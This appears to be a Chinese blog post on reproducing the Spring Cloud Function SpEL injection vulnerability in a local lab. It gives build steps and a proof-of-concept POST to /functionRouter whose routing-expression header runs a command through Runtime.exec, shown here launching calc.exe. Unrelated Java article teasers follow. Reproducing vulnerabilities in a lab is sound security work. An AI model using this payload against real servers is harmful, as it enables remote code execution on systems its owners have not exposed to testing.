Spring-Cloud-Function-Spel?漏洞環(huán)境搭建
1、漏洞環(huán)境搭建
由于漏洞出現(xiàn)在前兩天，原本等待vulhub出環(huán)境，直接docker 一鍵就ok了。但是這次vulhub好像不太及時。對于自己只能自己搭建環(huán)境了。
找了許久，終于在唐大佬的github中找到幾乎一鍵的方法。
參考鏈接：https://github.com/tangxiaofeng7/Spring-Cloud-Function-Spel 這里放原始鏈接以表示尊重。
無法上github的話，私信我。
搭建方法很簡單，先安裝maven jdk 等。大佬是jdk17 我本地下載最新版本18 也是ok
方法如下：下載代碼后，在解壓目錄cmd執(zhí)行 mvn spring-boot:run 會下載很多庫，需要耐心等待。成功后會開啟8080 端口。
漏洞poc極其簡單：
路徑最好使用funtionRouter，原因自查。此環(huán)境倒是任意路徑都ok。
POST /functionRouter HTTP/1.1
Host: 192.168.1.7:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
漏洞驗證：
到此這篇關(guān)于Spring-Cloud-Function-Spel 漏洞復現(xiàn)的文章就介紹到這了,更多相關(guān)Spring-Cloud-Function-Spel 漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！
相關(guān)文章
本文主要介紹了SpringBoot接入釘釘自定義機器人預(yù)警通知，文中通過示例代碼介紹的非常詳細，對大家的學習或者工作具有一定的參考學習價值，需要的朋友們下面隨著小編來一起學習學習吧2022-07-07
這篇文章主要介紹了實例講解Java并發(fā)編程之變量,本文講解了編寫線程安全需要關(guān)心的共享變量和可變變量,需要的朋友可以參考下2015-04-04
java中synchronized（同步代碼塊和同步方法）詳解及區(qū)別
這篇文章主要介紹了 java中synchronized（同步代碼塊和同步方法）詳解及區(qū)別的相關(guān)資料,需要的朋友可以參考下2017-02-02
這篇文章主要介紹了Spring6整合JUnit的詳細步驟，本文結(jié)合實例代碼給大家介紹的非常詳細，對大家的學習或工作具有一定的參考借鑒價值,需要的朋友可以參考下2023-05-05
reduce?操作是一種通用的歸約操作,它可以實現(xiàn)從?Stream?中生成一個值,其生成的值不是隨意的,而是根據(jù)指定的計算模型,下面我們就來深入了解下java8中的reduce操作吧2023-12-12
java中的Io(input與output)操作總結(jié)(一)
所謂IO，也就是Input與Output的縮寫。在java中，IO涉及的范圍比較大，這里主要討論針對文件內(nèi)容的讀寫,感興趣的朋友可以了解下2013-01-01
快速了解Spring框架中的@Bean注解？本文將帶你一鍵掌握其核心作用！只需一篇短文,揭示@Bean注解如何在Spring中定義bean實例,以及管理和裝配Bean的奧秘,閱讀指南,讓Spring開發(fā)更加得心應(yīng)手！2024-01-01
這篇文章主要為大家詳細介紹了java單鏈表使用總結(jié)，文中示例代碼介紹的非常詳細，具有一定的參考價值，感興趣的小伙伴們可以參考一下2022-01-01
mybatis自動生成@Table、@Column、@Id注解的方法
這篇文章主要介紹了mybatis自動生成@Table、@Column、@Id注解的方法，文中通過示例代碼介紹的非常詳細，對大家的學習或者工作具有一定的參考學習價值，需要的朋友們下面隨著小編來一起學習學習吧2020-12-12
一提到happens-before原則，就讓人有點“丈二和尚摸不著頭腦”。這個涵蓋了整個JMM中可見性原則的規(guī)則，究竟如何理解，把我個人一些理解記錄下來。下面可以和小編一起學習2019-05-05